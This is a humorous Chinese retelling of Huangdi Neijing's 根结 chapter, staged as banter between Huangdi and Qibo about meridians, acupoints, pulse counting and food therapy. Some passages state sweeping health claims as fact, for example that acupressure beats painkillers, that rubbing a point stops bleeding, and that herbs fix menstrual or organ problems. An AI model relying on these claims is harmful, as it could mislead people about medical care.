黄帝掐了掐合谷：哎哟，还真是疼呢！岐伯啊，你这穴位讲得也太生动了吧！ 岐伯哈哈大笑道：陛下您这可是夸奖了。其实啊，咱们中医的穴位就像是身体里的一个个小秘密，只要掌握了它们，就能让身体更健康、更快乐！ 黄帝若有所思道：岐伯啊，你说这针灸之道是不是也像咱们治国一样，得知道终始、调和阴阳啊？ 岐伯笑着点了点头，一脸赞许地说：“陛下，您这话真是说到点子上了！这针灸之道啊，简直就像治国理政一样，讲究的是个‘火候’和‘分寸’。您得清楚什么时候该给身体‘补补营养’，什么时候得给它‘去去火’，还得知道该用哪种方法，是温柔点儿的‘和风细雨’，还是来点猛料的‘雷霆万钧’。 您看，这就跟治理国家似的，有时候得用‘仁政’，让百姓安居乐业；有时候呢，又得来点‘严打’，把那些捣蛋分子给收拾了。只有这样，咱们的身体这台‘超级机器’才能运转得更加顺畅、更加和谐，咱们才能每天都精神饱满、生龙活虎的！” 喜欢黄帝内经爆笑讲解版。 根结篇第五（二） 话说有一天，黄帝闲来无事，就跑去问岐伯：“嘿，岐伯老兄，你知道太阳经的根和结都在哪儿吗？”岐伯一听，心想这黄帝还挺爱学习的嘛，于是就慢悠悠地回答：“哎呀，黄帝大人，您这可是问对人了。太阳经的根在于至阴穴，而结则在于命门，不过这里的命门啊，可不是您想的那个‘命运的门’，而是指我们的眼睛哦！” 黄帝一听，有点懵：“啥？至阴穴、命门、眼睛？这太阳经怎么还跟眼睛扯上关系了？”岐伯一看黄帝这表情，就知道他没懂，于是决定好好给他上一课。 “来来来，黄帝大人，咱们先说说这至阴穴。至阴穴啊，它可是足太阳膀胱经上的一个重要穴位，位置嘛，就在我们的小脚趾外侧，指甲角旁边那么一点点。您可别小看这个穴位，它可是能治疗头痛、鼻塞、鼻出血这些问题的。您想想看，如果您哪天头疼得要命，或者鼻子突然出血，这时候您要是知道至阴穴在哪儿，轻轻一按，那效果，简直比吃止痛药还管用呢！” 黄帝一听，眼睛一亮：“哟，这么神奇？那命门呢？这眼睛怎么又成了命门了？”岐伯笑了笑：“黄帝大人，您别急嘛。这里的命门啊，其实是个比喻。在中医里，我们把眼睛看作是太阳经的集结之地，因为眼睛能接收外界的光线，就像太阳一样照耀着我们。而且啊，眼睛的健康也直接关系到我们的生命质量，您说它是不是‘命门’呢？” 黄帝继续问：“嘿，岐伯，那阳明经的根和结到底是咋回事儿？你给咱细细道来。” 岐伯一听，哈哈一笑，捋了捋他那长胡子，说道：“黄帝大人啊，您这问题问得好，咱们中医讲究的就是个经络穴位，说白了，就是人体内部的‘高速公路’和‘服务区’。这阳明经啊，它的根在厉兑，结呢，在颡大。不过啊，我得先给您科普一下，这‘颡大’啊，在古代的说法里，其实是指咱们现在的头维穴那一片儿，大致就在耳朵前上方，夹住耳朵的那个位置。” 黄帝一听，眼睛一亮：“哦？厉兑？头维？听起来挺有武侠小说的味道嘛！来来来，岐伯兄，咱们一个个穴位捋清楚，让我这门外汉也开开眼界。” 岐伯点头笑道：“得嘞，那咱们就先从这阳明经的‘根’——厉兑穴说起。厉兑啊，听起来就像是武侠小说里的大侠，一剑封喉的那种锋利劲儿。但实际上呢，它是咱们脚上的一个小小穴位，位于足第二趾末节外侧，距趾甲角0.1寸的地方。别看它小，作用可大了去了！这可是胃经的井穴，井穴嘛，就像是经络的源头活水，能清热和胃，通经活络。你要是哪天吃多了，胃胀得难受，按按这个厉兑穴，保管你舒服多了。当然了，要是你有口腔溃疡、咽喉肿痛这些小毛病，它也能帮上忙，简直就是随身携带的‘小灭火器’。” 黄帝听得津津有味，连连点头：“嘿，还真是，这穴位名字起得，一个个都跟有超能力似的。那接下来，咱说说这‘结’——头维穴吧，听着就像是武侠小说里的高手，一出手就能维护世界和平的那种。” 岐伯被黄帝这脑洞逗乐了，继续讲解道：“头维啊，确实是高手中的高手，只不过它维护的是咱们头部的和平。这个穴位在头侧部，当额角发际上0.5寸，头正中线旁开4.5寸的地方。简单说，就是你把头发往旁边一拨拉，耳朵前上方那块儿，按下去有点酸酸涨涨的感觉，那就是了。头维穴啊，是足阳明胃经和足少阳胆经的交会穴，那可是个大忙人，治疗头痛、目眩、迎风流泪那是一绝。特别是那种偏头痛，疼得你直想撞墙的时候，按按头维穴，保管你痛感减半，心情大好。而且啊，它还能帮助你提神醒脑，提高工作效率，简直是加班熬夜党的福音。” 黄帝再次对岐伯说：“岐伯啊，少阳经你能不能给我讲讲它的根和结都在哪儿啊？”岐伯一听，心想这黄帝还真是好学不倦啊，于是他就慢悠悠地说：“没问题，黄帝，少阳经的根在于窍阴，结在于窗笼。” 黄帝一听，有点懵了：“窗笼？这是什么鬼地方？我宫里怎么没见过？”岐伯一看黄帝这迷茫样，就忍不住笑了：“哈哈，黄帝，您这宫里的见识还是太少了啊！这窗笼啊，其实就是咱们耳朵里头的地方。” 黄帝一听，恍然大悟：“哦，原来是耳朵里头啊！那我得好好记住了。”不过，黄帝转念一想，这岐伯平时讲穴位都是那么详细，怎么这次就这么简单呢？于是，他就对岐伯说：“岐伯啊，你能不能再给我讲讲这窍阴和窗笼（耳朵里的穴位，现代多指听宫穴等耳部穴位）具体在哪儿，还有它们有什么作用啊？” 岐伯一看黄帝这求知欲旺盛的样子，就点了点头：“行，那我就给你讲讲。” “首先说这窍阴啊，它其实是咱们足少阳胆经上的一个穴位，位于咱们脚上的第四趾末节外侧，趾甲根角旁0.1寸的地方。你可别小看这个穴位啊，它可是咱们少阳经的根呢！经常按摩这个穴位，可以清热利胆、通经止痛。比如说啊，你要是哪天吃多了油腻的东西，感觉肚子胀得慌，就可以按摩按摩这个穴位，保证你立马舒服多了。” 黄帝一听，眼睛一亮：“哟，这窍阴穴位还有这功效啊！那以后我得经常按按。” 岐伯笑了笑，接着说：“再说这窗笼啊，现代咱们多指听宫穴等耳部穴位。听宫穴在咱们耳屏前，下颌骨髁状突的后方，张口时呈凹陷处。这个穴位啊，可是咱们耳朵上的重要穴位之一，经常按摩它可以聪耳开窍、清热镇痛。比如说啊，你要是哪天耳朵嗡嗡响，或者头疼得厉害，就可以按摩按摩这个穴位，保证你立马感觉好多了。” 黄帝突发奇想，问岐伯：“嘿，岐伯啊，你说这太阳、阳明、少阳在咱们中医里到底是个啥玩意儿？为啥它们一个叫‘开’，一个叫‘合’，还有一个叫‘枢’呢？” 岐伯一听，嘿，这黄帝今儿个是打算来个中医小灶啊！他嘴角一咧，清了清嗓子，摆出一副说书先生的架势，幽默地开讲了：“黄帝啊，您这问题，问得那叫一个妙！咱们先说说这太阳为啥叫‘开’吧。您想啊，太阳它不就跟咱家那大门似的嘛，一天到晚敞开着，欢迎各路气血来串门，流通得那叫一个顺畅！ 再来说说阳明为啥叫‘合’。您瞧瞧咱家那仓库，一到晚上，啪叽一下，关得严严实实的，生怕一点气血给跑了，全给收拢得紧紧的。这可是咱家的宝贝疙瘩，得好好藏着掖着！ 至于少阳嘛，哈哈，它简直就是那把万能钥匙！您说这钥匙重要不？没它，大门开不开，合不合，全凭它一句话。少阳就是掌控着气血大门的开关，掌控着气血的流动节奏，所以人家有个响当当的名号——‘枢’。 这道理啊，浅显易懂，就跟咱家那门锁一样，一看就明白！黄帝啊，您看，中医理论其实也挺接地气的，没那么高深莫测嘛！” 黄帝一听，乐了：“哈哈，岐伯啊，你这比喻打得真好！那要是这大门、仓库、钥匙出了问题，咱们身体会出现啥状况呢？” 岐伯微微一笑，说：“您问得好！要是太阳这扇大门出了问题，比如门轴断了，那气血流通就不顺畅了，咱们身上的肉啊、关节啊就会变得松弛无力，这时候暴病就容易找上门来。所以啊，治疗暴病，咱们得从太阳入手，看看是气血多了还是少了，然后对症下药。” “您看这太阳经上的穴位啊，有个叫睛明穴的，就在咱们眼睛内侧，鼻梁旁边那点。您是不是有时候觉得眼睛干涩、疲劳啊？揉揉这睛明穴，立马就舒服了！还有这太阳穴，就在咱们额头两侧，头疼脑热的时候，按一按，哎呀，那叫一个神清气爽！当然了，这只是太阳经上的一小部分穴位，还有一大堆呢，咱就不一一列举了。” 黄帝一听，眼睛一亮：“哎呀，岐伯啊，你这穴位讲得真好！那阳明这仓库要是出了问题呢？” 岐伯说：“要是阳明这仓库出了问题，比如门坏了关不紧，那气血就会到处乱跑，咱们身体就会出现痿疾，就是肌肉无力、萎缩那种。所以啊，治疗痿疾，咱们得从阳明入手，同样得看看是气血多了还是少了。” “您看这阳明经上的穴位啊，有个叫合谷穴的，就在咱们手背，大拇指和食指中间那点。您是不是有时候觉得牙疼啊？揉揉这合谷穴，立马就不疼了！还有这足三里穴，在咱们小腿外侧，膝盖下面三寸那点。这可是个养生大穴啊，按一按，能增强免疫力、调理脾胃啥的。当然了，阳明经上的穴位也是数不胜数，咱就不多说了。” 黄帝一听，哈哈大笑：“哈哈，岐伯啊，你这穴位讲得真是生动有趣！那少阳这钥匙要是出了问题呢？” 岐伯说：“要是少阳这钥匙出了问题，比如钥匙断了，那咱们身体就会出现骨繇病，就是骨头变得松软无力，站都站不稳。所以啊，治疗骨繇病，咱们得从少阳入手，同样得看看是气血多了还是少了。” “您看这少阳经上的穴位啊，有个叫风池穴的，就在咱们后脑勺，头发边缘那点。您是不是有时候觉得头晕目眩啊？揉揉这风池穴，立马就清醒多了！还有这肩井穴，在咱们肩膀中间那点。肩膀酸痛的时候，按一按，那叫一个舒服啊！当然了，少阳经上的穴位也是多得数不清，咱就不一一列举了。” 黄帝一听，笑得合不拢嘴：“哈哈，岐伯啊，你这中医课讲得真是太好了！既通俗易懂，又生动有趣！我看啊，你这不光是中医大夫，还是个幽默大师呢！” 岐伯一听，也乐了：“黄帝啊，您过奖了！我这也是为了让咱们中医的知识能更好地传承下去嘛！毕竟啊，中医这东西，要是讲得太过深奥晦涩，那大家伙儿都听不懂，还怎么学呢？” 黄帝一听，点了点头：“嗯，你说得对！中医这东西啊，确实得让大家都听得懂、学得会才行！那你说说啊，这太阳、阳明、少阳在咱们身体里到底扮演着啥角色呢？” 岐伯想了想，说：“您看这太阳啊，它就像咱们身体的屏障，保护着咱们不受外邪的侵袭。阳明呢，它就像咱们身体的仓库，储存着咱们身体需要的营养物质。少阳呢，它就像咱们身体的指挥官，调控着咱们身体的气血运行。这三者啊，相辅相成，共同维持着咱们身体的健康。” 黄帝一听，恍然大悟：“哦，原来如此！那要是这三者都出了问题呢？” 岐伯叹了口气说：“要是这三者都出了问题啊，那咱们身体可就得遭殃了！就像咱们家的大门、仓库、钥匙都坏了，那家里还不得乱成一锅粥啊？所以啊，咱们平时啊，一定得注意保养身体，别让这三者出了问题。” 黄帝一听，点了点头：“嗯，你说得对！那咱们平时应该怎么保养身体呢？” 岐伯想了想，说：“您看这保养身体啊，其实也不难。首先啊，咱们得注意饮食，别吃太多油腻、辛辣、生冷的东西，得多吃蔬菜水果、粗粮啥的。其次啊，咱们得注意锻炼，多走走、跑跑、跳跳啥的，让身体活动起来。还有啊，咱们得注意睡眠，别熬夜、别太累啥的。当然了，最重要的啊，还是咱们得有个好心情，别整天愁眉苦脸的，得乐观开朗点才行！” 黄帝一听，哈哈大笑：“哈哈，岐伯啊，你这保养身体的秘诀讲得真是太好了！既简单易懂，又实用有效！我看啊，你这不光是中医大夫，还是个养生专家呢！” 岐伯一听，也乐了：“黄帝啊，您过奖了！我这也是为了让咱们大家都能有个好身体嘛！毕竟啊，身体是革命的本钱嘛！要是身体垮了，那还怎么享受生活呢？” 根结篇第五（三） 话说有一天，黄帝闲来无事，就琢磨起了人体经络的奥秘。他心想：“哎呀，这人体里的经络，简直就是个大迷宫啊！我得找个高手问问。”于是，他就找到了岐伯，这位可是中医界的泰斗，经络理论的大神。 黄帝一脸认真地问道：“岐伯啊，我听说太阴经、少阴经、厥阴经都挺神秘的，它们之间有啥关系呢？你给我讲讲呗。” 岐伯一听，嘿嘿一笑，说：“黄帝啊，你这问题问得好！太阴经、少阴经、厥阴经，它们就像是人体的三条高速公路，各自负责不同的运输任务。来来来，我给你细细道来。” “先说太阴经吧，它的起点在隐白穴。这隐白穴啊，就在咱们大脚趾的内侧，趾甲根角旁0.1寸的地方。它就像是太阴经的大门，是脾经的第一个穴位。脾嘛，大家都知道，是负责运化水谷的，所以这隐白穴就是脾经气血输出的总开关。要是这开关坏了，那脾运化的东西就没地方送了，就会出现膈洞的症状。啥是膈洞呢？就是胸口这儿感觉空空的，像是被挖了个洞。这时候啊，你就得揉揉隐白穴，看看是气血多了还是少了，然后对症下药。所以说啊，隐白穴这地方，可重要了，得好好保护着。” 黄帝一听，恍然大悟：“哦，原来是这样啊！那少阴经呢？” 岐伯接着说：“少阴经嘛，它的起点在涌泉穴。这涌泉穴啊，就在咱们脚底的掌心前三分之一与后三分之二交界处凹陷中。它就像是少阴经的心脏，是肾经的第一个穴位。肾嘛，大家都知道，是先天之本，主藏精纳气。所以这涌泉穴就是肾经气血的源泉。要是这源泉干了，那人就会感觉气虚，总是想哭。这时候啊，你就得揉揉涌泉穴，给肾经加加油。涌泉穴还有个大名鼎鼎的外号，叫‘长寿穴’，多揉揉它，还能延年益寿呢！” 黄帝一听，眼睛一亮：“哇，这么神奇！那厥阴经呢？” 岐伯笑了笑：“厥阴经啊，它的起点在大敦穴。这大敦穴啊，就在咱们大脚趾的外侧，趾甲根角旁0.1寸的地方。它就像是厥阴经的守门员，是肝经的第一个穴位。肝嘛，大家都知道，是主疏泄的，负责调节人体的气机。所以这大敦穴就是肝经气血的出口。要是这出口堵了，那人就会感觉气机不畅，总是闷闷不乐。这时候啊，你就得揉揉大敦穴，给肝经疏疏气。大敦穴还有个作用，就是能治疗各种出血症，比如鼻出血、牙龈出血啥的，揉揉它就能止血了。” 黄帝一听，连连点头：“嗯，这下我明白了！那这三条经之间有啥关系呢？” 岐伯说：“这三条经啊，就像是人体的三个部门，各有各的职责。太阴经是开门的，负责把气血送出去；厥阴经是关门的，负责把气血收回来；少阴经呢，就是中间的枢纽，负责调节气血的分配。要是开门的不行了，那气血就送不出去，人就会感觉虚弱；要是关门的不行了，那气血就回不来，人就会感觉悲伤；要是枢纽不行了，那气血就会堵塞，人就会感觉疼痛。所以啊，咱们得好好保养这三条经，让它们都健健康康的。” 黄帝一听，高兴地说：“哈哈，岐伯啊，你可真是我的良师益友啊！今天听你这么一讲，我对经络的理解又加深了一层。来，咱们干一杯！” 岐伯也笑着说：“哈哈，黄帝啊，你太客气了。能为你解惑，也是我的荣幸啊！来，咱们干一杯！” 两人举杯相庆，气氛十分融洽。 黄帝又问了岐伯一个深奥的问题：“岐伯啊，我听说人体里有足三阳和手三阳这些神奇的经络，它们到底是怎么运行的呢？能不能给我讲讲？” 岐伯一听，眼睛一亮，心想：嘿，这黄帝今天算是问对人了！于是他清了清嗓子，开始了他的经络大讲堂：“黄帝啊，你可问对人啦！这足三阳和手三阳啊，那可是咱们中医里的重头戏！来，咱们先从足太阳膀胱经说起。” “足太阳膀胱经啊，它的根在于至阴穴。这至阴穴啊，就在咱们小脚趾的外侧，趾甲根角旁边那么一点点。你别看它小，它可是足太阳膀胱经的起始穴，能清热散风、通利下焦，主治头痛、目痛、鼻塞、鼻衄这些毛病。然后啊，这经络就溜到了京骨穴，京骨穴在足外侧，第五跖骨粗隆下方，赤白肉际处。它能清热止痉、明目舒筋，主治头痛、项强、腰痛这些。接着呢，就注到了昆仑穴，昆仑穴在外踝尖与跟腱之间的凹陷中，它主治头痛、项强、目眩、鼻衄这些。然后啊，它就一路向上，进入了咱们的天柱穴和飞扬穴。天柱穴在颈后发际正中旁开1.3寸，主治头痛、项强、鼻塞这些。飞扬穴呢，在小腿后面，外踝后，昆仑穴直上7寸，承山穴外下方1寸处，它能清热安神、舒筋活络，主治头痛、目眩、腰腿疼痛这些。” 黄帝一听，眼睛都亮了：“哇，原来至阴穴这么神奇啊！那接下来呢？” 岐伯笑了笑：“别急，咱们接着说。接下来啊，就是足少阳胆经了。它的根在于窍阴穴，这窍阴穴在咱们第四趾末节外侧，距趾甲根角0.1寸。它是足少阳胆经的井穴，能清热解郁、通经活络，主治头痛、目眩、耳鸣这些。然后啊，这经络就溜到了丘墟穴，丘墟穴在外踝的前下方，趾长伸肌腱的外侧凹陷中，它能疏肝利胆、消肿止痛，主治胸胁胀痛、下肢痿痹这些。接着呢，就注到了阳辅穴，阳辅穴在小腿外侧，当外踝尖上4寸，腓骨前缘稍前方。它能清热疏肝、疏经活络，主治偏头痛、目赤肿痛、胸胁胀痛这些。然后啊，它就一路向上，不过这里有个小插曲啊，《医部全录》说它入的是天冲穴，但咱们现代一般认为是光明穴更准确。光明穴在小腿外侧，当外踝尖上5寸，腓骨前缘。它能清肝明目、舒筋活络，主治目痛、夜盲、下肢痿痹这些。” 这章没有结束，请点击下一页继续阅读！ 黄帝听得津津有味：“原来足少阳胆经也这么有意思啊！那足阳明胃经呢？” 岐伯继续讲：“足阳明胃经啊，它的根在于厉兑穴。这厉兑穴在咱们第二趾末节外侧，距趾甲根角0.1寸。它是足阳明胃经的井穴，能清热和胃、通经活络，主治齿痛、口歪、咽喉肿痛这些。然后啊，这经络就溜到了冲阳穴，冲阳穴在足背最高处，当拇长伸肌腱与趾长伸肌腱之间，足背动脉搏动处。它是足阳明胃经的原穴，能清胃泻火、通经活络，主治胃痛、腹胀、口眼歪斜这些。接着呢，就注到了下陵穴，不过咱们现代一般称之为足三里穴更准确哦！足三里穴在小腿外侧，犊鼻下3寸，胫骨前嵴外1横指处，犊鼻与解溪连线上。它可是个万能穴啊，能燥化脾湿、生发胃气，主治胃痛、呕吐、腹胀这些，还能增强免疫力呢！然后啊，它就一路向上，进入了咱们的人迎穴和丰隆穴。人迎穴在颈部，喉结旁，当胸锁乳突肌的前缘，颈总动脉搏动处。它能利咽散结、疏调气血，主治咽喉肿痛、高血压这些。丰隆穴呢，在小腿外侧，外踝尖上8寸，条口穴外1寸，胫骨前嵴外2横指处。它能和胃气、化痰湿、清神志，主治头痛、眩晕、咳嗽痰多这些。” 黄帝听得目瞪口呆：“原来足阳明胃经这么强大啊！那手三阳呢？” 岐伯哈哈一笑：“别急，咱们这就说。首先是手太阳小肠经，它的根在于少泽穴。这少泽穴在咱们小指末节尺侧，指甲根角旁0.1寸。它是手太阳小肠经的井穴，能清热利咽、通乳开窍，主治头痛、目翳、咽喉肿痛这些。然后啊，这经络就溜到了阳谷穴，阳谷穴在腕后区，尺骨茎突与三角骨之间的凹陷处。它能清心明目、镇惊安神，主治头痛、目眩、耳鸣这些。接着呢，就注到了小海穴，小海穴在肘后区，尺骨鹰嘴与肱骨内上髁之间凹陷中。它能清热安神、舒筋活络，主治肘臂疼痛、癫痫这些。然后啊，它就一路向上，进入了咱们的天窗穴和支正穴。天窗穴在颈外侧部，胸锁乳突肌的后缘，扶突穴后，与喉结相平。它能利咽聪耳、安神定志，主治耳鸣、耳聋、咽喉肿痛这些。支正穴呢，在前臂背面尺侧，当阳谷与小海的连线上，腕背横纹上5寸。它能舒筋活络、解热利节，主治头痛、项强、肘臂酸痛这些。” 黄帝听得连连点头：“嗯，手太阳小肠经也很不错！那手少阳三焦经呢？” 岐伯继续讲：“手少阳三焦经啊，它的根在于关冲穴。这关冲穴在咱们无名指末节尺侧，距指甲根角0.1寸。它是手少阳三焦经的井穴，能泄热开窍、活血通络，主治头痛、目赤、耳聋这些。然后啊，这经络就溜到了阳池穴，阳池穴在腕后区，腕背侧横纹上，指总伸肌腱的尺侧缘凹陷中。它能清热通络、通调三焦、益阴增液，主治腕痛、肩臂痛、耳聋这些。接着呢，就注到了支沟穴，支沟穴在前臂背侧，当阳池与肘尖的连线上，腕背横纹上3寸，尺骨与桡骨之间。它能清利三焦、疏经活络、通调腑气，主治便秘、胁痛、耳鸣这些。然后啊，它就一路向上，进入了咱们的天牖穴和外关穴。天牖穴在颈侧部，乳突的后下方，平下颌角，胸锁乳突肌的后缘。它能清头明目、通经活络，主治头痛、项强、耳鸣这些。外关穴呢，在前臂背侧，当阳池与肘尖的连线上，腕背横纹上2寸，尺骨与桡骨之间。它能清热解表、通经活络，主治头痛、耳鸣、胁痛这些。” 黄帝听得津津有味：“哈哈，原来手少阳三焦经也这么有趣啊！那最后呢，手阳明大肠经呢？” 岐伯笑了笑：“手阳明大肠经啊，它的根在于商阳穴。这商阳穴在咱们食指末节桡侧，距指甲根角0.1寸。它是手阳明大肠经的井穴，能清热解表、苏厥开窍、活血通络，主治齿痛、咽喉肿痛、昏迷这些。然后啊，这经络就溜到了合谷穴，合谷穴在手背，第1、2掌骨间，当第二掌骨桡侧的中点处。它可是个万能止痛穴啊，能镇静止痛、通经活络、清热解表，主治头痛、目赤肿痛、牙关紧闭这些。接着呢，就注到了阳溪穴，阳溪穴在腕区，腕背侧横纹桡侧，桡骨茎突远端，解剖学“鼻烟窝”凹陷中。它能清热散风、舒筋活络，主治头痛、目赤肿痛、手腕痛这些。然后啊，它就一路向上，进入了咱们的扶突穴和偏历穴。扶突穴在颈外侧部，结喉旁，当胸锁乳突肌前后缘之间。它能宣肺化痰、散结消肿，主治咳嗽、气喘、咽喉肿痛这些。偏历穴呢，在前臂，阳溪与曲池的连线上，腕横纹上3寸处。它能清热解毒、利水通淋，主治水肿、肘臂挛痛、耳鸣这些。” 黄帝听完，不禁拍案叫绝：“哈哈，岐伯啊，你可真是给我上了一堂生动的经络课啊！这些穴位和经络的作用真是太神奇了！” 岐伯总结道：咱们人体里这十二条超级重要的经络，它们要是“火力全开”（也就是气血旺盛）或者“网络繁忙”（经络里的气血流通不畅），那咱们就得赶紧给它们“松松绑”，扎几针，让它们舒坦舒坦。 这十二条经络吧，分别是：手太阴肺经、手阳明大肠经、足阳明胃经、足太阴脾经、手少阴心经、手太阳小肠经、足太阳膀胱经、足少阴肾经、手厥阴心包经、手少阳三焦经、足少阳胆经、足厥阴肝经。哎呀，这一串儿念下来，陛下是不是感觉自己瞬间变成了中医小达人？ 根结篇第五（四） 在一个风和日丽的午后，黄帝闲来无事，便找来了岐伯，打算聊聊关于五脏的那些深奥道理。黄帝开口就问：“岐伯啊，我这心里老是琢磨着五脏的那些事儿，你给我讲讲它们到底有啥奥秘吧？” 岐伯一听皇上这话，嘿嘿一笑，眼睛眯成了一条缝，说道：“皇上啊，您这问题可真是‘高端大气上档次’，不过呢，念在咱俩平日里交情不错的份上，我今天就破例给您讲讲这其中的门道吧！ 您知道吗？咱们这一日一夜，身体里的气血啊，那可是忙得不亦乐乎，得跑上五十个来回，专门给五脏这些小主们送营养，这活儿咱们中医管它叫‘五十营’。就像是快递小哥，风雨无阻，准时准点，一个都不能少！ 可要是哪个家伙的气血不按这个规矩来，嘿嘿，那他可就惨喽，得被咱们中医界封为‘狂生’啦！这可不是什么美誉啊，意思就是说他的身体已经乱套了，气血乱跑，跟无头苍蝇似的，您说这得多乱啊！” 黄帝一听，眼睛瞪得圆圆的，好奇地问：“哦？这‘五十营’还有这么多讲究？那你快给我细细道来。” 岐伯捋了捋胡子，慢悠悠地说：“这‘五十营’啊，说白了就是五脏都得按时吃到饭，也就是得到气血的滋养。咱们要是把脉，数一数脉搏跳动的次数，就能知道五脏是不是都吃得饱饱的了。正常情况下呢，脉搏跳五十下，气血就得跑完五脏一圈，要是跳五十下还没跑完一圈，那就说明五脏里有的家伙没吃到饭，也就是没得到气血的滋养。” 黄帝一听，更来劲了，追问道：“那要是没吃到饭的五脏多呢？会咋样？” 岐伯嘿嘿一笑，眼睛眯成了一条缝，仿佛藏着无数的智慧与幽默，他慢悠悠地说道：“你瞧，这事儿要是搁在跑步和心跳上，那可就变得趣味横生了。要是有人跳着跳着，数到四十下，嘿，一圈儿就搞定了，那我得说，这家伙啊，至少有一个脏没赶上饭点儿，八成是忙活得忘了饥饱。 再瞅瞅那些跳三十下就绕场一周的朋友，嘿，那情况可就不太妙了，俩脏开始抗议了，估摸着它们正坐在角落里，抱着肚子，眼泪汪汪地说：‘主人啊，咱也想尝尝饭菜的滋味呢！’ 到了跳二十下就跑完一圈的境地，哈哈，那可热闹了，三个脏齐刷刷地喊起了饿，它们可能在心里嘀咕：‘这日子没法过了，天天跑马拉松，饭都不给吃一口！’ 要是有人牛气冲天，数到十下就嗖嗖嗖跑完一圈，嘿，那简直了，四个脏齐声哀嚎，那声音大得，估计连隔壁老王家的狗都得竖起耳朵听一听，心想：‘这哥们儿家里是开运动会呢，还是集体绝食呢？’ 最绝的是，如果有人连跳十下都没能跑完一圈，哎呀妈呀，那场面可就壮观了，五脏集体罢工，齐刷刷地唱着空城计，那感觉就像是五脏开了个紧急会议，一致决定：‘今儿个，谁也别想吃上一口热乎的！’这人啊，估计得累得跟孙子似的，还得琢磨着怎么安抚这些‘饿肚子’的小祖宗们呢！” 黄帝一听，惊讶得合不拢嘴，说：“这么严重啊！那要是五脏都没饭吃了，会怎么样呢？” 岐伯叹了口气，说：“要是五脏都没饭吃，那这人可就危险了，他的寿命可就短了。这其中的道理啊，都在《终始》这本书里写着呢。所以啊，咱们得好好保护五脏，不能让它们饿着。” 黄帝点了点头，若有所思地说：“原来如此啊！那岐伯啊，你说这‘五十动而不一代’又是什么意思呢？” 岐伯笑眯眯地解释道：“你瞧，这‘五十动而不一代’啊，就像是咱们身体里的小闹钟，滴答滴答，跳五十下，气血就绕五脏跑了一圈，一切按部就班，顺顺畅畅，那可是健康的标准配置哦！ 可要是咱们一搭上脉，嘿，这脉搏跟调皮的孩子似的，一会儿狂奔，一会儿慢悠，那可就得留神了！这背后啊，说不定是五脏六腑在闹意见呢——有的脏器吃得圆滚滚，撑得直哼哼；有的呢，却饿得咕咕叫，都快前胸贴后背了。这不，身体就赶忙给咱们发信号，说：‘嘿，哥们儿，快瞧瞧我这儿，出状况啦！’所以啊，咱们得学会听这身体的小话儿，及时调理，别让五脏六腑们再‘唱反调’啦！” 黄帝一听，恍然大悟，说：“原来如此啊！岐伯啊，你可真是我的良师益友啊！今天这一课，我可是受益匪浅啊！” 岐伯谦虚地笑了笑，说：“哪里哪里，皇上您太客气了。我这也是实话实说，咱们中医啊，讲究的就是个平衡，五脏平衡了，身体自然就健康了。” 黄帝听了，连连点头，表示赞同。接下来，咱们就来详细聊聊这五脏的事儿吧，保证让你听得津津有味，笑到肚子疼！ 首先啊，咱们得知道，五脏就是咱们身体里的五个大老板，它们分别是心、肝、脾、肺、肾。这五个大佬啊，各有各的本事，各有各的脾气，它们得互相配合，才能让咱们的身体正常运转。 先说心吧，它可是个大忙人，得一直不停地跳动，给全身供血呢。要是心不跳了，那咱们就得跟这个世界说拜拜了。所以啊，咱们得好好保护心，别让它太累了。 再说肝吧，它可是个解毒高手，咱们身体里的毒素啊，都得靠它来清理。要是肝出了问题，那咱们就得小心了，说不定哪天就中毒了。所以啊，咱们得多吃点养肝的食物，让肝这个解毒高手能一直干下去。 接下来是脾了，它可是个营养大师，咱们吃的食物啊，都得靠它来消化吸收。要是脾出了问题，那咱们就得天天吃草了，因为啥也吸收不了。所以啊，咱们得少吃点生冷的食物，别让脾受凉了。 然后是肺了，它可是个呼吸大师，咱们得靠它来吸进氧气，呼出二氧化碳。要是肺出了问题，那咱们就得天天戴着氧气罩了。所以啊，咱们得多吃点润肺的食物，让肺能一直畅快地呼吸。 最后是肾了，它可是个精力源泉啊，咱们的身体得靠它来提供能量。要是肾出了问题，那咱们就得天天打哈欠了，因为精力不足啊。所以啊，咱们得多吃点补肾的食物，让肾能一直充满能量。 这五脏啊，就像五个好朋友一样，得互相帮忙，互相照顾。要是哪个朋友出了问题，那其他朋友也得跟着倒霉。所以啊，咱们得好好保养五脏，让它们都能健健康康的。 咱们再来聊聊这气血的事儿吧。气血啊，就像是咱们身体的快递小哥，得一直不停地给五脏送营养。要是气血不足了，那五脏就得饿肚子了。所以啊，咱们得多吃点补气养血的食物，让气血能一直充足。 说到补气养血啊，那就得说说红枣了。红枣啊，可是个补气养血的好东西啊！它不仅能补气血，还能美容养颜呢。所以啊，女孩子们啊，多吃点红枣吧，让你们变得美美的！ 除了红枣啊，还有当归也是个好东西。当归啊，能活血补血，还能调理月经呢。所以啊，女孩子们啊，要是月经不调啊，就多吃点当归吧！ 还有啊，黄芪也是个补气的好东西。黄芪啊，不仅能补气，还能提高免疫力呢。所以啊，要是觉得身体虚啊，就多喝点黄芪水吧！ 咱们再聊聊这五脏的平衡吧。五脏啊，得互相平衡，才能让咱们的身体正常运转。要是哪个五脏太强势了，那其他五脏就得受欺负了。所以啊，咱们得吃点能平衡五脏的食物。 比如说啊，要是觉得心火太旺了，那就多吃点苦瓜吧！苦瓜啊，能清心火，还能降血糖呢。所以啊，心火太旺的人啊，就多吃点苦瓜吧！ 要是觉得肝火太旺了，那就多吃点芹菜吧！芹菜啊，能清肝火，还能降血压呢。所以啊，肝火太旺的人啊，就多吃点芹菜吧！ 要是觉得脾虚了，那就多吃点山药吧！山药啊，能健脾益气，还能补肾呢。所以啊，脾虚的人啊，就多吃点山药吧！ 要是觉得肺燥了，那就多吃点雪梨吧！雪梨啊，能润肺止咳，还能清热化痰呢。所以啊，肺燥的人啊，就多吃点雪梨吧！ 要是觉得肾虚了，那就多吃点黑豆吧！黑豆啊，能补肾益精，还能乌发呢。所以啊，肾虚的人啊，就多吃点黑豆吧！ 黄帝皱起了眉头，一脸认真地盯着岐伯，仿佛在研究什么深奥的谜题：“岐伯啊，咱俩探讨的这逆顺五体的事儿，我这脑瓜子总算是绕过来了。你说，人的骨节吧，有大有小；肉呢，有坚有脆；皮呢，有厚有薄；血吧，还分清浊；气呢，又分滑涩；脉呢，长短不一；血量呢，有多有少；经络吧，数量也不尽相同。这些个差异，对于咱们那些面朝黄土背朝天的老百姓，也就是布衣匹夫们，我倒是能理解个七七八八了。 